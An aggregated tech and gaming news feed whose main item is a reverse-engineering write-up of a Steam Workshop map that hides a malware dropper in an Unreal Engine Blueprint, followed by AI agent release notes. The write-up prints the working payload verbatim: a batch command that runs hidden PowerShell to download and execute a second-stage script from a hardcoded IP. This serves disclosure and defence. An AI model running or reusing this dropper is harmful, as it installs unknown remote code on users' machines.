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Unity 7: Neue Engine für Games steht ab 1. Quartal 2027 bereit

Sun, 26 Jul 2026 12:15:15 +0200

Unity ist eine Engine für Spiele (und mehr), die zuletzt mehr durch Kontroversen auf sich aufmerksam machte. Denn ursprünglich geplante Änderungen am Bezahlungsmodell stießen etliche Entwickler...

Zum Beitrag: Unity 7: Neue Engine für Games steht ab 1. Quartal 2027 bereit

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Auf dem Laufenden bleiben?
Fügt uns doch bei Google als bevorzugte Quelle hinzu!

Melissa Choi named director of MIT Lincoln Laboratory

Sat, 25 Jul 2026 19:01:04 +0200

With decades of experience working across the laboratory’s R&D areas, Choi brings a focus on collaboration, technical excellence, and unity.

Dinos with swords, making music with gnomes and other new indie games worth checking out

Sat, 25 Jul 2026 13:04:00 +0200

Plus, email as turn-based combat (which is really just regular email).

Build for the future with the Android XR Developer Catalyst Program — Apply now!

Sat, 25 Jul 2026 10:15:51 +0200

Posted by Android XR Team

The Android XR ecosystem is expanding, and we’re committed to supporting developers who will build its next great experiences. Today, we’re opening applications for the Android XR Developer Catalyst Program, a dedicated initiative to accelerate the development of Android XR apps ready to launch within the next year.

This program is designed to provide the resources, hardware, and grants to help you build and scale innovative experiences across wired XR glasses, like XREAL’s Project Aura, and intelligent eyewear (audio and display glasses). We are especially interested in seeing innovative experiences across media, gaming, productivity, and health, but we welcome any unique use case that helps users expand what's possible.

Why join the catalyst program?

We want to help developers navigate common barriers to entry for XR development by providing:

Development Kits: Get early access to hardware development kits for wired XR glasses (XREAL’s Project Aura) and / or intelligent eyewear (audio and display glasses).
Technical support: Gain access to specialized technical resources and support forums specifically designed to help you prepare your app for Google Play.
Grant Opportunities: Submit a request and you may be eligible to receive a non-recoupable grant to accelerate your development.

Ready to start building?

Applications are open to developers looking to publish apps for the Android XR ecosystem in the next 6-12 months. You can build with Kotlin and the Jetpack XR SDK, or with Unity, Unreal Engine or Godot. If you need a spark of inspiration, you can check out existing XR Experiments and Samples to see how you can use the SDK for everything from spatial music to navigation.

Once you have your concept ready, be sure to submit your application by June 30th by 11:59PM PDT. We can’t wait to see what you build.

Start Your Application

Explore this announcement and all Google I/O 2026 updates on io.google.

GitLab 19.2, Kotlin feiert Geburtstag, Unity CLI

Sat, 25 Jul 2026 09:55:19 +0200

Kleine, aber interessante Meldungshäppchen vom News-Buffet zu GitLab, Kotlin, Unity, WebAuthn, Nuxt, Angular, distr, Apache Arrow, VS Code und GitHub.

99 % Raubkopierer: Anti-Piraterie-Gag sorgt für Verkaufsexplosion

Fri, 24 Jul 2026 19:51:10 +0200

99 % Raubkopierer: Ein Indie-Entwickler wird mit einem Anti-Piraterie-Gag viral – bis die Realität ihn einholt.

Der Artikel 99 % Raubkopierer: Anti-Piraterie-Gag sorgt für Verkaufsexplosion erschien zuerst auf TARNKAPPE.INFO

Weekline: Der minimalistische Wochenplaner mit klarem Fokus

Fri, 24 Jul 2026 19:07:44 +0200

Es gibt mal wieder eine App eines deutschen Indie-Entwicklers, die wir euch vorstellen wollen. Weekline von Christopher Asche aus Gunzenhausen ist kein klassischer ToDo-Listen-Manager, sondern ein durchdachter Wochenplaner, der Aufgaben nicht einfach nur auflistet, sondern ihnen ein Gewicht gibt. Jeder Tag hat hier eine festgelegte Kapazität, und eine klare Linie zeigt sofort, wenn die Planung […]

Der Beitrag Weekline: Der minimalistische Wochenplaner mit klarem Fokus erschien zuerst auf appgefahren.de.

The biggest indie "friendslop" game of 2026 appears to be delivering malware via Steam Workshop — How to protect your PC (and what to do next)

Fri, 24 Jul 2026 15:04:18 +0200

The Steam Workshop is one of the PC gaming platform's biggest assets, but it's increasingly becoming a place where bad actors can spread malware to unsuspecting victims. The latest allegations involve indie smash-hit Meccha Chameleon. Here's what you need to know.

Wie gut ist Halo: Campaign Evolved?: Nostalgie macht das Remake großartig

Fri, 24 Jul 2026 14:19:25 +0200

Halo: Combat Evolved braucht nicht viele Veränderungen, um zu glänzen. Das sagt zumindest die Presse zum 2001er-Shooter, der die Kampagne des Ur-Halos in Unreal Engine 5 weitgehend unverändert nachbaut. Gamestar gefällt das weitgehend.

Workshop map for MECCHA CHAMELEON is a malware dropper (full breakdown)

Fri, 24 Jul 2026 00:21:11 +0200

Intro
Initial Symptom
First Look at the Workshop Files
Verifying the Asset Files
AssetRegistry.bin Reveals the First Clue
Opening the UE5 Asset Container
Reverse Engineering the Blueprint
Extracting the Embedded Payload
Analyzing the Dropper Script
Confirming Execution on an Affected PC
Did the Second Stage Execute?
Analysis Summary
Limitations & Unknowns
IOCs
Final verdict

A couple of my friends reported seeing a command prompt window briefly appear while Steam was downloading a custom workshop map. The map was being downloaded through the game's in-game lobby and, once the download completed it immediately began loading for the match. Since the command prompt window appeared during this transition, I decided to investigate the workshop files.

What I found was a seemingly ordinary workshop map that contained what appears to be a malware dropper, despite having passed workshop review.

I'm writing this up because, as far as I know, the map is still available, and because the techniques it uses to hide are worth understanding if you download workshop content. While there are still a few parts of the execution chain I can't fully explain, the artifacts themselves are interesting from a reverse engineering perspective.

https://preview.redd.it/nn7j9wf4q1fh1.png?width=1265&format=png&auto=webp&s=0276954f24bafc16cee6b2fc2569c12bedeaea51

1): The Initial Symptom

A black command prompt window flashed on screen for about a second before disappearing. It appeared while Steam was still downloading the workshop map, just as the game was transitioning into loading it for the match. There were no crashes, error messages, or any other unusual behavior. On its own, it would have been easy to dismiss as Steam running a background process, but seeing a console window appear during a workshop download / match launch was unusual enough that I decided to investigate.

2): First Look at the Workshop Files

The workshop content is located here:

Steam\steamapps\workshop\content\4704690\3765145606\

At first glance, there’s nothing suspicious in the folder. The contents are:

AssetRegistry.bin Preview.png Sample.vdf SampleMyUGCMecchaCModKit_Load-Windows.pak SampleMyUGCMecchaCModKit_Load-Windows.ucas SampleMyUGCMecchaCModKit_Load-Windows.utoc

There are no executables, DLLs, batch files, or scripts. The .pak, .ucas, and .utoc files are simply the standard Unreal Engine 5 asset container format used for packaging game content exactly what you would expect to see from a UE5 map or mod.

This is worth emphasizing: if you were manually checking this folder for malware, there would be no obvious red flags here. Nothing in this directory suggests anything malicious. That is likely why it passed review in the first place.

3): Verifying the Asset Files

File extensions are easy to spoof, so I checked the actual file headers and scanned the contents for embedded executable data.

The results:

utoc starts with -==--==--==--==-, which is the real IoStore magic
pak has the correct 0x5A6F12E1 footer magic
no MZ/PE, ELF or ZIP headers anywhere in any file

The files appear to be valid Unreal Engine asset containers, not disguised executables. There is no standalone executable payload present in this mod. If there is unexpected behavior, it would have to be occurring through the game’s normal asset-loading pipeline rather than from an included executable file.

4): AssetRegistry.bin Reveals the First Clue

This is the detail that stands out most from the entire investigation.

AssetRegistry.bin is largely readable metadata. You can open it in a text editor and see references to the actors placed throughout the maps. Normally, it contains exactly the kind of information you would expect: StaticMeshActor, PointLight, PlayerStart, and other standard Unreal Engine objects.

However, one Blueprint actor immediately stands out:

/Game/Mods/NewMap.NewMap:PersistentLevel.BP_RCE_Test_C_0

Its class resolves as:

BP_AmbientController_C

Those two names together are unusual. The class name suggests a harmless environmental or lighting-related system especially since it appears under folders such as Environment and Lighting. However, the placed actor still retains the older name BP_RCE_Test_C_0.

In Unreal Engine, this can happen because placed actors keep the name they were created with even if the Blueprint class is later renamed. Renaming the class does not automatically rename every existing instance placed in maps.

That means the BP_RCE_Test name likely existed at an earlier point in the asset’s history. Whether intentional or not, the old identifier remains embedded in the map metadata.

The same reference appears across three separate maps included in the workshop item, including a NewMap_Backup file that appears to have been left in the upload.

5): Opening the UE5 Asset Container

The Blueprint data is stored inside the Oodle-compressed .ucas container. Reading the accompanying .utoc metadata reveals:

chunks ............ 57 blocks ............ 131 (130 Oodle-compressed) flags ............. Compressed | Indexed

No encryption flag is present, meaning the container can be inspected using available Unreal Engine asset tooling and compatible Oodle/Kraken decompression support. All 131 blocks decompress successfully, producing roughly 5.3 MB of extracted data.

The container contains 55 assets in total: materials, meshes, textures, four maps, and three Blueprints. Two of those Blueprints appear to be untouched sample assets from the official ModKit, containing no custom logic.

Searching across the extracted asset data revealed only a small number of notable references:

ReceiveBeginPlay ....... 1 ToFile ................. 1 GetPlatformUserDir ..... 1 powershell ............. 1

These references are concentrated in a single Blueprint rather than being distributed throughout the package. There does not appear to be additional hidden logic elsewhere in the container, which makes the relevant behavior easier to isolate and analyze.

6): Reverse Engineering the Blueprint

The complete function chain is:

ReceiveBeginPlay ↓ GetPlatformUserDir ↓ Replace ↓ Concat_StrStr ↓ FromString (JSON) ↓ ToFile

Despite the Blueprint being named like an environment or lighting system, the logic does not appear to perform any lighting, ambience, or world-management functions. Instead, it constructs a file path and writes data to disk.

Tracing the Blueprint bytecode shows the path construction:

dir = GetPlatformUserDir() // C:/Users//Documents/ path = dir + "s.bat"

ReceiveBeginPlay is normally called when the map begins loading, which does not fully match the behavior reported by some users, who observed activity during the download process itself. That discrepancy is not explained by the Blueprint logic alone, so it is worth treating those reports separately from the behavior confirmed through asset analysis.

7): Extracting the Embedded Payload

A single embedded string inside the Blueprint contains the following data:

{"x\"&if not defined _Z (set _Z=1&start /min cmd /c %~f0&exit) else ( powershell -w hidden -ep bypass -c iwr http://31.57.34.228/work/steamb.bat -OutFile $env:TEMP\s.bat; cmd /c $env:TEMP\s.bat&exit)&\"x":"1"}

The string is structured as a JSON/batch polyglot: it is valid JSON while also containing batch command syntax inside the JSON key. The command content is therefore preserved when written as JSON data, but can also be interpreted as a batch script if the resulting file is executed.

This format is significant because the earlier Blueprint analysis showed that the file-writing step uses ToFile, which writes JSON data. The embedded content appears designed to satisfy that JSON requirement while retaining executable command syntax.

The combination of a JSON-compatible wrapper and embedded command execution logic is not typical of normal Unreal Engine asset data and is a strong indicator that the content was deliberately constructed rather than being accidental or generated by the engine.

8): Analyzing the Dropper Script

The extracted script is also human-readable:

if not defined _Z ( set _Z=1 start /min cmd /c %~f0 exit ) else ( powershell -w hidden -ep bypass -c ^ iwr http://31.57.34.228/work/steamb.bat -OutFile $env:TEMP\s.bat cmd /c $env:TEMP\s.bat exit )

The script uses a simple two-stage execution flow.

On the first run, _Z is not defined, so the script sets the variable, launches a minimized copy of itself, and exits. This relaunch behavior explains the brief command window flash reported by some users. At this stage, the script is acting as a launcher rather than performing the main action.

On the second run, the _Z variable is already present, so the script follows the alternate branch. It starts PowerShell with a hidden window, modifies the execution policy for that process, downloads steamb.bat from a hardcoded external address, saves it to the temporary directory, and executes it.

The _Z check appears to exist solely to prevent the script from repeatedly relaunching itself.

The script itself is relatively simple: there is no evidence here of persistence mechanisms, privilege escalation, or sophisticated obfuscation. Its main purpose appears to be retrieving and executing a second-stage script. That second stage is hosted externally, meaning its contents can change independently of the original mod package.

9): Confirming Execution on an Affected PC

On one affected system, I found a file that was byte-for-byte identical to the payload string embedded in the Blueprint. It was located at the exact path identified during the bytecode analysis.

This confirms that the Blueprint logic was not just theoretical, the file-writing behavior observed during reverse engineering occurred on a real system.

https://preview.redd.it/hav7l33dq1fh1.png?width=2252&format=png&auto=webp&s=9fc74ff8ac7e3607889cb9a4f052d8d73e0f2f32

10): Did the second stage execute?

The second-stage file, %TEMP%\s.bat, was not present on the affected machine. The PowerShell Operational log explains why:

https://preview.redd.it/srmpq28pq1fh1.png?width=1577&format=png&auto=webp&s=6a2841345f423906fafaa570acd20d85636e3b70

The download request failed with an HTTP 404 response at the time of execution. Because the file was never successfully retrieved, nothing was written to disk and the following cmd /c command had no script to execute.

On this system, the second stage did not execute. The contents and behavior of the downloaded payload remain unknown because the external file was unavailable at the time of analysis.

The address embedded in the script resolves to 31.57.34.228. At the time of analysis, the IP address was geolocated to Amsterdam, Netherlands, and was associated with Blockchain Creek B.V. (ASN 207994).

This information identifies the hosting infrastructure used by the download URL, but it does not by itself identify the operator of the server or establish attribution. The important finding is that the Blueprint attempted to retrieve an additional payload from an external location, rather than containing the final payload entirely within the workshop files.

https://preview.redd.it/y1b4bj6sq1fh1.png?width=2546&format=png&auto=webp&s=141474bd203a7d6529591ae09487da2e35e58026

11): Analysis Summary

Based on the evidence recovered from the workshop item, this should be treated as malicious content. That conclusion does not rely on a single indicator; it comes from the combination of several independent findings:

The Workshop uploader account appears to have been created only about one week before the item was published
The Workshop map currently does not allow users to leave comments or ratings
The only Blueprint containing custom logic was originally identified as BP_RCE_Test and later appeared under a name consistent with a harmless environment or lighting controller.
The Blueprint executes automatically through ReceiveBeginPlay, rather than requiring an intentional user action inside the map.
Its logic writes data outside the game directory into the user’s Documents folder, which is unrelated to normal map or asset behavior.
The written content is a deliberately structured JSON/batch polyglot, allowing data written through a JSON-only function to retain executable batch syntax.
That script launches hidden PowerShell, bypasses the local execution policy for the process, retrieves a second-stage file from a hardcoded external address, and attempts to execute it.

What remains unknown is the purpose of the final payload. The second-stage script was not successfully retrieved during analysis and was no longer available from the remote location, so its behavior cannot be determined. Claims that it was specifically an infostealer, loader, or another type of malware would be speculation without that payload.

12): Limitations & Unknowns

What does steamb.bat do?

Unknown. The second-stage payload was not delivered during analysis, so its final behavior cannot be determined from the available evidence.

IOCs

Workshop item 3765145606 "Laser Tag Neon" (appid 4704690) comments and ratings disabled on the listing uploader account roughly one week old Asset BP_AmbientController.uasset (originally BP_RCE_Test_C_0) Dropped file %USERPROFILE%\Documents\s.bat C2 http://31.57.34.228/work/steamb.bat Second stage steamb.bat (never delivered, contents unknown) Asset build 2026-06-09 22:37:14 s.bat 210 bytes sha256 1ff540bc3c493a93059e602b414ba61027ed1a2b8a079f6197b0718f4a2101b6 md5 04d6dfadd5248c995951707e27520ade container utoc aea429fbb44d552c917c22018e838e4154e68a8cac5806f7a8e30b61586ba2a6 ucas fbd932faba4ec8d614fbd7a68636e177213259bafe2babdcdc47c2a8acd6d569 pak aa58f9061a4e39e3f5a28395c56cfa5b0072d90e66054894f9c8022e81e396c9

Final Verdict

Based on everything I found, I believe this workshop item is very likely malicious, but there are still parts of the execution chain I couldn't directly observe.

What I can say with confidence is that the asset contains a Blueprint whose only meaningful purpose is to write a batch file outside the game's directory into the user's Documents folder. That batch file then attempts to launch PowerShell with the execution policy bypassed, download a second batch file from a hard-coded external server, and execute it.

I can't think of a legitimate reason for a Steam workshop map to write a .bat file into a user's Documents folder and then use PowerShell to fetch and run another .bat file from the Internet. Even without knowing what the second stage contained, that behavior is extremely difficult to explain as anything other than a malware delivery chain.

Could there be some edge case I'm missing? Absolutely. That's why I've tried to separate facts from assumptions throughout this write-up. But given the evidence recovered from the assets themselves, I think calling this a malicious dropper is the conclusion best supported by the data

Further independent investigation is encouraged, particularly if additional evidence becomes available. For now, the workshop item and the uploader have been reported and flagged for review.

Cheers and stay safe!

FeintBe

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Don’t Starve Together: Kultiges Multiplayer-Survival-Game erscheint im App Store

Thu, 23 Jul 2026 08:17:13 +0200

Wohl fast alle Gaming-Fans haben schon einmal vom erstmals im Jahr 2013 erschienenen Indie-Survival-Game Don’t Starve gehört. Der von Klei Entertainment veröffentlichte Einzelspieler-Titel wurde drei Jahre später, genauer gesagt im April 2016, um eine eigenständige Mehrspieler-Erfahrung Don’t Starve Together mit einem Koop-Modus erweitert. Für Don’t Starve gab es nach einiger Vorlaufzeit auch Versionen für iOS […]

Der Beitrag Don’t Starve Together: Kultiges Multiplayer-Survival-Game erscheint im App Store erschien zuerst auf appgefahren.de.

Rabattaktion auf Steam: „Spiele aus Deutschland“ wirbt für hiesige Games-Branche

Thu, 23 Jul 2026 07:02:45 +0200

Noch bis zum 27. Juli läuft eine weitere Rabattaktion auf Steam: „Spiele aus Deutschland“. Die von Games Germany veranstaltete Aktion umfasst ausschließlich Titel, die in Deutschland entwickelt worden sind. Darunter sind große AAA-Titel wie Cryteks Hunt: Showdown 1896, aber auch populäre Indie-Titel wie Solarpunk von Cyberwave.

Game developer Harebrained Schemes kicks off its new indie era with survival-horror RPG ‘GRAFT’

Wed, 22 Jul 2026 21:21:21 +0200

The latest game from Seattle-based developer Harebrained Schemes, and its first since its return to independence in 2023, is a dark sci-fi/horror adventure where the player must constantly change and enhance their body in order to survive. Read More

heise+ | Spiele-Engines: Warum viele erfolgreiche Studios auf Unity setzen

Wed, 22 Jul 2026 15:21:32 +0200

Unity, Unreal, Godot oder was Eigenes? Viele Studios setzen bei der Spieleentwicklung auf Unity und sind damit erfolgreich. Wir haben nach den Gründen gefragt.

Scaling Row-Level Security With ABAC on Databricks Unity Catalog

Tue, 21 Jul 2026 00:06:22 +0200

Onboarding a new table into row-level security should be four lines of metadata. Not two new objects, a code review, and a platform-team ticket. This post describes a tag-driven attribute-based access control (ABAC) pattern built on Databricks Unity Catalog primitives…

The post Scaling Row-Level Security With ABAC on Databricks Unity Catalog appeared first on IT Security News.

Hermes Agent v0.19.0 (2026.7.20) — The Quicksilver Release

Mon, 20 Jul 2026 20:46:40 +0200

Hermes Agent v0.19.0 (v2026.7.20)

Release Date: July 20, 2026
Since v0.18.0: ~2,245 commits · ~1,065 merged PRs · ~2,465 files changed · ~300,000 insertions · ~36,000 deletions · ~3,300 issues closed · 450+ community contributors

The Quicksilver Release. Hermes is the messenger god, and this window we made him move like it. First-turn time-to-first-token dropped ~80% on every platform, reasoning streams live by default, the desktop app got a ~20-PR speed overhaul (14× faster streaming markdown, virtualized diffs, snappy session switching), and the TUI renders markdown incrementally. Around that speed spine: you can now manage your Nous subscription without leaving the terminal, plug Bitwarden and 1Password straight into Hermes, let smart approvals judge flagged commands for you by default, watch your subagents work live, and trust that a finished response survives a gateway crash thanks to a durable delivery ledger. This release also rolls up everything from the v0.18.1 and v0.18.2 infrastructure patch tags — those windows are fully documented here.

✨ Highlights

Hermes got dramatically faster — first token in a fraction of the time — Cold-start "Initializing agent..." used to eat ~4.3 seconds before your first turn even reached the model; it's now ~0.9s, an ~80% cut that applies to the CLI, gateway, TUI, desktop, and cron alike. Round 2 attacked what you see while waiting: reasoning models now stream their thinking live by default (no more staring at a spinner for 30 seconds), and the response box paints per token instead of per line. If Hermes ever felt like it took a deep breath before answering, that breath is gone. (#59332, #59389 — @teknium1)
The desktop app speed wave — 20+ targeted perf PRs — Long replies used to cost 14× more CPU in the markdown splitter than they do now; giant diffs froze the review pane until we virtualized it; switching sessions thrashes layout no more. Streaming no longer re-renders the sidebar and every tool row per token, profile backends pre-warm on hover intent, and boot-hidden panes mount at idle instead of on the cold-start critical path. The net effect: the desktop app feels like a native app under load, even with huge transcripts and busy agents. (#67154, #67818, #65898, #66033, #66747, #67742 and more — @OutThisLife)
Manage your Nous plan from the terminal — /subscription and /topup — Changing your subscription used to mean a trip to the billing website. Now /subscription opens a full flow right in the TUI or classic CLI: see your plan and remaining allowance, preview exactly what an upgrade costs ("Pay $46.30 & upgrade now") or when a downgrade takes effect, and apply it — with scheduled-change banners and undo. The desktop app got a matching billing settings tab. Your wallet never has to leave the keyboard. (#51639, #61054, #61067 — @alt-glitch)
Smart approvals are now the default — When Hermes wants to run a flagged command, an LLM reviewer now assesses it independently instead of asking you to approve every single one — and each verdict covers only that exact command, so a later command matching the same pattern gets its own review. Combined with the new user-defined deny rules (which block commands even under yolo mode) and /deny (which tells the agent why you refused so it course-corrects), day-to-day approval fatigue drops sharply without giving up control. (#62661, #59164, #54518 — @teknium1)
Plug your password manager into Hermes — Bitwarden & 1Password secret sources — API keys no longer have to live in a plaintext .env. A new pluggable SecretSource interface lets Hermes fetch secrets from Bitwarden and 1Password (op:// references) at load time, with multiple vaults enabled simultaneously, deterministic precedence, conflict warnings, and per-variable provenance. This consolidated eleven competing community PRs into one orchestrated interface — future vault providers drop in as plugins. (#59498 — @teknium1, 1Password provider salvaged from @hwrdprkns)
Watch your subagents work — live transcripts + durable background delegation — delegate_task dispatches now return live transcript files you can tail -f the moment the subagents launch: every tool call, result, and streamed reply, one human-readable log per child. And background delegation completions are now durable — if the process restarts mid-run, results are restored and delivered through an ownership-checked ledger instead of vanishing. Fan out a fleet, watch any worker live, and never lose the results. (#67479, #63494 — @teknium1)
A finished answer can no longer be lost — the delivery-obligation ledger — If the gateway died between generating your response and confirming the platform actually delivered it, that answer used to be silently gone (and you'd paid for the turn). Final responses are now recorded in a durable ledger in state.db around the platform send and redelivered on the next boot — closing a P1 silent-loss window for Telegram, Discord, Slack, and every other channel. (#67181 — @teknium1)
One gateway, many profiles — profile-based message routing — A single multiplexed gateway sharing one bot token can now route specific guilds, channels, or threads to different profiles — each with fully isolated config, skills, memory, and secrets. Point your work Discord server at the work profile and your hobby server at personal, from one bot. A second multiplex hardening wave means one misconfigured profile can no longer take down the whole gateway. (#64835 salvaging @Burgunthy, #65700, #60589 — @teknium1, @benbarclay + six salvaged contributors)
New providers and the newest frontier models — Fireworks AI and DeepInfra land as first-class providers (Fireworks with cost estimation and a #2 slot in the provider picker), Upstage Solar joins via salvage, and the model catalogs picked up GPT-5.6 (Sol/Terra/Luna + Pro variants, wired end-to-end across every route), grok-4.5 (GA), moonshotai/kimi-k3, claude-fable-5 / claude-sonnet-5, and GA tencent/hy3 — plus LM Studio JIT model loading for local setups. (#62593, #63969, #61616 — @kshitijk4poor completing @rob-maron's #61578, #60887, #65913, #64541, #65472)
Crank the thinking to max — new reasoning effort tiers and per-model control — Reasoning effort gained max and ultra levels (GPT-5.6 and Codex's top tiers), selectable everywhere from the CLI to the desktop, with sane clamping on providers with smaller scales. You can now also pin per-model reasoning-effort overrides in config, set per-slot effort in MoA presets (your advisors think hard, your synthesizer stays fast), and per-task effort for auxiliary models. Thinking depth is now a dial, not a global switch. (#62650, #64458, #64631, #64597 — @teknium1)
Your sessions, your data — export everything — hermes sessions export now writes Markdown, Quarto, HTML, prompt-only, and even Hugging Face-ready trace formats, with the full filter surface (age, workspace, platform), an opt-in --redact secret-scrubbing pass, and compacted-session lineage stitched into one logical export. Pair with the new prune filters and bulk archive to keep your session store tidy. Your conversation history is a real dataset now, not a black box. (#60186 salvaging @web3blind, #60492, #60507, #59327 — @teknium1)
Security hardening round — This window closed a long list of credential-surface gaps: Vertex credentials scoped away from subprocess env and through profile secret scopes, media/vision/image-gen local-file reads routed through one shared credential-read guard, a webhook body-size-cap sweep across every aiohttp server, bot-token redaction in Telegram transport errors, Fireworks token prefixes added to the redactor, six P1 browser/MEDIA/.env hardening PRs salvaged in one pass, and CI hardened against untrusted-ref interpolation. (#57660, #58709, #59215, #56582, #57842 — @teknium1, @srojk34, @kshitijk4poor, @jquesnelle)

⚡ Performance — the speed spine

First-turn latency (all platforms)

~80% TTFT cut — Discord capability detection off the critical path (token-keyed 24h disk cache + background refresh), Ollama probe skipped for known non-Ollama providers, agent-init blocking work removed; cold submit→dispatch ~4.3s → ~0.9s (#59332 — @teknium1)
Perceived-latency round 2 — display.show_reasoning default ON (watch the model think instead of a spinner), per-token response-box painting with width-aware force-flush, prompt-build caching, mtime-cached timezone resolution (#59389 — @teknium1)
Segment mixed tool batches to recover lost concurrency; drop per-call base64 re-serialization from request-size estimates (#64460, #67788 — @teknium1, @OutThisLife)

Desktop speed wave

14× less splitter CPU via incremental block lexing for streaming markdown; virtualized review-pane diffs (no more full-Shiki freeze); snappy session switching on large transcripts; killed the layout-thrash cascade on session switch (#67154, #67818, #65898, #66033 — @OutThisLife)
Cut startup serialization + per-turn REST amplification; pre-warm profile backends and gateway sockets on hover intent; idle-mount boot-hidden panes; fast model picker + dialogs (#66747, #66347, #67857, #66470 — @OutThisLife)
Stop per-token sidebar + tool-row re-renders during streaming; stop eager JSON.stringify of every tool's args/result; scope tool-diff subscriptions; batch sidebar session slices into one profile-DB pass; targeted file-tree revalidation; rAF-coalesced sash resizes (#67742, #67842, #67195, #67245, #67824, #67838, #67844 — @OutThisLife)
Systematized perf benchmark harness with trustworthy cold-start + first-token measurement, replacing 12 one-off scripts (#67466, #67697 — @OutThisLife)

Everywhere else

TUI renders streamed markdown incrementally per block (#67236 — @OutThisLife)
Skill discovery cached by scan signature; snapshot manifest builds ~5× faster; text prefilter before AST parse in tool discovery (#61414, #61131, #63941 — @kshitijk4poor, @ethernet8023)
Copy-on-write message prep instead of full deepcopy; model-metadata probe-cache cluster; gateway session.resume model + display history from one SELECT (#61133, #61368, #67247 — @kshitijk4poor, @OutThisLife)
hermes update skips npm install when Node manifests are unchanged; dashboard session-list payloads trimmed + messages paginated (#61580, #60883 — @kshitijk4poor)
Byte-stable gateway system prompts — pinned session-context render keeps the prompt cache alive across turns (#67403 — @kshitijk4poor)

🏗️ Core Agent & Architecture

Providers & models

Fireworks AI provider with cost estimation + cached picker price columns, promoted to #2 in provider pickers (#62593, #65476, #65214 — @teknium1)
DeepInfra hardened integration; Upstage Solar provider (#42231 salvage) (#63969, #64541 — @kshitijk4poor)
GPT-5.6 (Sol/Terra/Luna + Pro) end-to-end — context lengths, native/Codex catalogs, pricing, compaction caps across every route (#61616 — @kshitijk4poor, building on @rob-maron)
grok-4.5 (GA) catalog + reasoning allowlist; kimi-k3 on Nous Portal + OpenRouter (kimi-k2.x retired) + K3 discovery on the Kimi Coding endpoint; claude-fable-5 / claude-sonnet-5 / fugu-ultra curated; GA tencent/hy3 (#60887, #65913, #65922, #56617, #60943 — @teknium1)
Catalog-labeled silent default (GLM-5.2) + bare-provider /model cost-safe routing; LM Studio JIT load mode; adaptive thinking for Kimi-family Anthropic endpoints (#64771, #65472, #67606 — @teknium1, @kshitijk4poor)
GLM-5.2 native reasoning_effort controls; Gemini request-context improvements; extra HTTP headers for LLM API calls; per-client model routing on the API server (#58884, #61873 — @vishal-dharm, #57038, #57028 — @teknium1)
Claude Sonnet 5 fully wired — curated lists, intro pricing, and metadata across every route (#67932 — @teknium1)
Hide providers you don't use — enabled: false per-provider flag + excluded_providers config scrub unwanted providers from /model pickers and built-in resolution (#67971 — @teknium1)
Bedrock catalog wave: real context-window probing from the live endpoint, 1M-context rows for current-gen Claude + Fable, geo-prefix parity, versioned profile-ID pricing, Opus 4.8/4.7 rows (#68007, #67977, #68005, #67976 — @teknium1)
kimi-k3 rollout completed across Kimi-direct catalog surfaces with 1M context on canonical Kimi Coding endpoints (#68108 — @teknium1)
Provider pickers: Qwen providers folded into one group row; collapsible provider groups in the desktop model picker; friendlier TUI model display grouping same-endpoint providers (#67758, #67904, #67908 — @teknium1)

Reasoning & MoA

max + ultra effort levels across every surface and route (#62650 — @teknium1)
Per-model reasoning_effort overrides via a unified resolution chokepoint; per-task auxiliary effort; per-slot MoA preset effort; session-scoped /reasoning in the CLI (#64458, #64597, #64631, #67946 — @teknium1)
MoA: reference_max_tokens to cap advisor output and cut latency; per-preset fanout cadence (user_turn runs advisors once per user turn); stale presets surfaced without retries; half-filled preset saves rejected at the API boundary; aggregator resolves reasoning like an acting model (#56756, #57591, #64756 — @teknium1)

Delegation, approvals & the agent loop

Live subagent transcripts + durable background completions (see Highlights) (#67479, #63494 — @teknium1)
Smart approvals default; user-defined deny rules (block even under yolo); /deny relays the denial reason; plugin pre_tool_call approve action escalates to a human gate (re-landed with rule keys) (#62661, #59164, #54518, #60504 — @teknium1, @kshitijk4poor)
Unified delegation concurrency caps (max_async_children deprecated); explain long provider waits on the live status line; deterministic tool-output risk exposure (#56955, #64775, #61793 — @teknium1)
Codex: live TUI/desktop tool cards for the app-server runtime, commentary streamed as visible interim messages, compaction routed through thread/compact/start, max-output truncation recovery, oversized message ids dropped on replay, banked usage-limit resets via /usage reset (#66514, #66115, #60114, #58155, #62225 — @teknium1, @kshitijk4poor, @JoaoMarcos44, #64280 — @teknium1)
Hooks: oversized hook-injected context spills to disk (#20468 — @teknium1)
Vibe reactions — floating hearts on affection across CLI/TUI/desktop, token-free core detection (#62016 — @OutThisLife)

Secrets & config

Pluggable SecretSource interface + Bitwarden & 1Password providers (see Highlights) (#59498 — @teknium1, @hwrdprkns)
hermes config get / unset; warn on unknown root config keys + doctor deprecated-key reporting; display.timestamp_format (#65540, #67370, #40622 — @teknium1)
Auxiliary model usage recorded per task in session accounting; conversation-scoped Nous Portal usage tags across aux/MoA/delegate calls; --usage-file JSON report for hermes -z (#65537, #65468, #59615 — @teknium1)

Sessions & compression

Sessions export: Markdown/QMD/HTML/prompt-only/trace formats, HF upload, --redact, unified filters; full prune filter surface + bulk archive; CLI workspace filter + restore-cwd-on-resume (#60186, #60492, #60507, #59327, #63091 — @teknium1, @web3blind)
Compression: preserve human intent and durable handoffs; retain prompt cache when memory is unchanged; flatten multimodal content for the summarizer keeping image handles; gateway compression routing integrity (#67275, #67916, #65046, #56868 — @kshitijk4poor, @teknium1)
Gateway session metadata consolidated into state.db; routing index moved to state.db (sessions.json now an optional legacy mirror); exact API bytes persisted in an api_content sidecar (#58899, #59203, #67274 — @teknium1, @kshitijk4poor)

🌐 Gateway, Fleet & Relay

Durable delivery-obligation ledger for final responses (see Highlights) (#67181 — @teknium1)
Profile-based routing for inbound messages + multiplex hardening wave 2 + GATEWAY_MULTIPLEX_PROFILES override (see Highlights) (#64835, #65700, #60589 — @teknium1, @benbarclay + salvaged contributors)
Per-session turn lease + conversation-scope funnel; unified session reset boundaries (reset sessions stay reset); truthful runtime readiness checks; per-channel model and system prompt overrides; per-session /model overrides persist across restarts (#67401, #65783, #62645, #56967, #57030 — @teknium1)
Session auto-reset default off; /sessions search ; webhook payload filters + route scripts; platform HTTP event callback routing; configurable long-running status phrases (#60194, #57685, #60944, #65702, #58872 — @teknium1)
Relay: generic OIDC client-credentials provisioning (NAS-free), routed profile carried from the connector wire source, channel context consumed from the connector; Nous auth forensics + nous_session_valid on /api/status for hosted self-heal; Docker re-seeds a terminally-dead Nous bootstrap session on boot (#60730, #60586, #64649, #59976, #59969, #59983 — @benbarclay)

📱 Messaging Platforms

Inline choice pickers for /reasoning and /fast on Telegram, Discord, and Matrix — one-tap native buttons instead of typing (#65799 — @teknium1)
WhatsApp: native Baileys polls (clarify renders as a poll), locations, rich inbound metadata; dashboard pairing flow (#58865, #60571 — @teknium1)
